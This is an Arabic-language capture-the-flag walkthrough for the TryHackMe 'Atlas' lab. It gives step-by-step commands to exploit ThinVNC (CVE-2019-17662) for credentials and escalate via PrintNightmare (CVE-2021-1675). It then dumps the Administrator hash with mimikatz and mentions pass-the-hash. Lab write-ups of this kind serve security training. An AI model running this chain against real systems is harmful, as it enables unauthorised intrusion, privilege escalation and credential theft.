TryHackMe|Atlas WriteUp\Walkthrough (Arabic)

بسم الله

للي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط

رابط التحدي: https://tryhackme.com/r/room/atlas

================================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

نرجع نسوي Aggressive سكان على نفس هذه البورتات

 sudo nmap IP -vv -A -p 3389,8080

بورت 3389 هي البورت الافتراضية لـRDP، وبورت 8080 عندي بروكسي. 

إذا رحنا للبورت 8080 من خلال المتصفح ما بنطلع بحاجة، لذلك بأستخدم curl مع v عشان نشوف معلومات الطلب. 

curl http://IP:8080/ -v

في الـ WWW-Authentication بتلاحظون مكتوب ThinVNC وهو protocol نفس RDP لكن يختلف إنه يعطيك وصول للجهاز الآخر مو من خلال الشبكة، بل من خلال المتصفح. 

بما إن هذا الجهاز شغال عليه ThinVNC بنشوف لو فيه أي ثغرة موجودة نقدر نستفيد منها

searchsploit ThinVNC

بيطلع معانا Exploit ولكن لما جربتها فيها أخطاء كثيرة، فبحثت وطلع معاي هذا الكود الموجود على GitHub وهو اللي بنستخدمه.  

git clone https://github.com/MuirlandOracle/CVE-2019-17662

بيطلع معانا مجلد بالـCVE للثغرة، ندخل عليه وبنلاقي داخله الـexploit، وعشان نستخدمها نحتاج نحدد رقم البورت واللي هو 8080 وبرضو عنوان التارقيت

./CVE-2019-17662.py IP 8080

ومباشرة بعد التشغيل بيعطينا اسم المستخدم وكلمة المرور. 

الحين ممكن إننا نستخدمها ونسجل دخول عن طريق المتصفح باستخدام ThinVNC أو من خلال RDP وهو أفضل، لأنه أكثر استقرار من استخدام المتصفح، فندخل باستخدام RDP عن طريق استخدام هذه الكوماند

xfreerdp /v:10.10.169.122 /u:Atlas /p:***** /cert:ignore +clipboard /dynamic-resolution /drive:/tmp,share

+clipboard

هذا يخلي الحافظة مشتركة بيننا وبين التارقيت، وبكذا أي شيء أنسخة من جهازي تلقائي ينتقل للحافظة في الضحية، والعكس صحيح.

/dynamic-resolution

هذا يخلي الوضوح أفضل

/drive:/tmp,share

هذا يخلي بيني وبين الضحية ملف مشترك، وأنا هنا اخترت tmp، ممكن تختارون أي شيء، وبكذا أي ملف أنقله لـtmp تلقائي بيروح للضحية. وهذا يسهل جدا جدا نقل الملفات بين الجهازين. 

الحين بما إننا وصلنا للجهاز، هدفنا هو إننا نرفع صلاحياتنا ونحصل على صلاحيات administrator، لأن في الأسئلة المطلوب هو hash للمستخدم administrator وهذه ما نقدر نحصل عليها إلا بعد ما نرفع صلاحياتنا. 

من الخدمات اللي فيها ثغرات كثيرة وتشتغل بأعلى صلاحيات في الويندوز (NT authority System) هي PrintSpooler، وهذي الخدمة هي اللي تشغل الطابعات، وترتب عملياتها، فإذا كانت مو شغالة، ما نقدر نشوف وش فيه طابعات ولا نقدر نستخدمها. 

أول حاجة بنتأكد منها، هو هل هذه الخدمة شغالة أصلا على الجهاز أو لا، وعشان نتأكد نضغط بزر الفأرة الأيمن على علامة الويندوز، ثم نختار Computer Management 

ثم نضغط على Services and Applications

بعدين Services

ثم نبحث عن Print Spooler ونشوف هل هي شغالة أو لا

من الصورة واضح إنها شغالة وبرضو تشتغل بأعلى صلاحيات على النظام، وهذا شيء ممتاز بالنسبة لنا، عشان نستغل هذه الخدمة في رفع الصلاحيات، بنسوي clone لـ Github Repository

git clone https://github.com/calebstewart/CVE-2021-1675

وبعدين 

cd CVE-2021-1675

cp CVE-2021-1675.ps1 /tmp

هنا سويت نسخ للـ PowerShell script على الـtmp عشان تلقائيا يروح للتارقيت وأقدر أوصل له من هناك، بما إن احنا ربطنا tmp مع التارقيت من بداية الاتصال. 

أرجع للتارقيت وأشغل PowerShell ثم عشان نشغل السكريبت نكتب هذه الكوماندز

. \\tsclient\share\CVE-2021-1675.ps1

ثم بيقول اختار D ولا R ولا S اختاروا R

ثم نشغل هذه الكوماند

Invoke-Nightmare

بعد كذا بيسوي لنا مستخدم جديد اسمه adm1n وكلمة السر له P@ssw0rd، وهذا المستخدم بيكون عنده administrative privileges

الحين نفتح cmd بـadministrative privileges عن طريق إني أبحث عنه ثم أضغط عليه بزر الفأرة الأيمن وأختار run as administrator

علطول بيطلع لي نافذة أدخل فيها كلمة السر للمستخدم الجديد adm1n، ندخلها ثم نضغط yes وبيفتح معانا كوماند شيل، الحين المرحلة الأخيرة في الحل، واللي هي إني أنقل mimikatz للتارقيت وأشغله ثم من خلاله أطلع الهاش للـAdministrator

من جهازي أنسخ mimikatz للـtmp

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe /tmp

وبعدين نرجع للـvictim ونشغله على cmd

\\tsclient\share\mimikatz.exe

بعد ما يشتغل

privilege::debug

هذه الكوماند تعطينا debug privileges، ثم 

token::elevate

هذه ترفع صلاحياتنا من administrator إلى الـsystem level 

الحين كل شيء جاهز فنقدر نسوي dump

lsadump::sam

وبنحصل على الـAdministrator hash

هذه الهاش نقدر نستخدمها للحصول على دخول للنظام، مثلا نقدر نستخدم evil-winrm أو psexec وندخل للنظام باستخدام الهاش بدون حتى ما نسوي لها crack، لكن هذا مو مطلوب في التحدي، اللي مطلوب هو فقط إننا نطلع الهاش وهذا اللي سويناه. 

بكذا يكون انتهينا من حل التحدي، بالتوفيق ✨👋🏻.